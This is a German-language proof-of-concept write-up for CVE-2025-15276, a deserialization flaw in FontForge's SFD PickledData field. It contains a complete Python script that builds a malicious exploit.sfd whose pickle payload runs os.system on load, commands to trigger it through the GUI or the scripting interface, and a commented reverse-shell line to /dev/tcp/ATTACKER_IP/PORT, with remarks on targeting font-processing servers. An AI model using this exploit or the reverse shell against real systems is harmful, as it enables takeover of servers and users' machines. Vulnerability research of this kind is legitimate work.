
Proof of Concept für CVE-2025-15276 - FontForge-SFD-Dateiparsing: Deserialisierung nicht vertrauenswürdiger Daten, Schwachstelle zur Remotecodeausführung
Dieser Proof of Concept (PoC) dient ausschließlich Bildungszwecken und der Sicherheitsprüfung. Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Der unbefugte Zugriff auf Computersysteme ist illegal. Holen Sie immer die ausdrückliche Genehmigung ein, bevor Sie Sicherheitstests an einem System durchführen.
CVE-2025-15276 ist eine kritische Remote-Code-Ausführungs-Schwachstelle (RCE) in FontForge (Versionen bis einschließlich 20230101). Der Fehler liegt in der Verarbeitung des Spline-Font-Database-Formats (.sfd), insbesondere im PickledData-Feld.
Das SFD-Format von FontForge ermöglicht die Speicherung persistenter Python-Wörterbücher mithilfe des PickledData-Schlüsselworts. Beim Laden einer Schriftart extrahiert FontForge diesen String und übergibt ihn direkt an die Python-Funktion (oder eine gleichwertige interne Deserialisierungsroutine), ohne jegliche Bereinigung oder Sandboxing.
pickle.loads()Da das Python-Modul pickle von Natur aus unsicher ist und die Rekonstruktion beliebiger Objekte ermöglicht, kann ein Angreifer die Methode __reduce__ nutzen, um beliebige Systembefehle mit den Rechten des Benutzers auszuführen, der FontForge ausführt.
20230101 oder früher.Verwenden Sie das folgende Python-Skript (gen_poc.py), um eine exploit.sfd-Datei zu erstellen. Dieser PoC ist so konfiguriert, dass er als sicheres Indiz für eine Kompromittierung (IoC) eine Datei in /tmp/pwned erstellt.
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
Die Schwachstelle kann ausgelöst werden, indem die Datei einfach mit FontForge geöffnet wird.
Option A: Standard-GUI/CLI-Laden
fontforge exploit.sfd
Option B: Python-Scripting-Schnittstelle (häufig in automatisierten Pipelines)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Prüfen Sie, ob der Befehl ausgeführt wurde:
ls -l /tmp/pwned
Diese Schwachstelle ist besonders gefährlich in Schriftverarbeitungs-Pipelines (z. B. webbasierten Font-Konvertern oder automatisierten Validierungsskripten), die FontForge im Backend zur Verarbeitung von benutzerhochgeladenen Dateien einsetzen. Wenn das Backend-Skript fontforge.open() auf einer nicht vertrauenswürdigen .sfd-Datei aufruft, erlangt der Angreifer die volle Kontrolle über den verarbeitenden Server.
.sfd-Dateien aus nicht vertrauenswürdigen Quellen.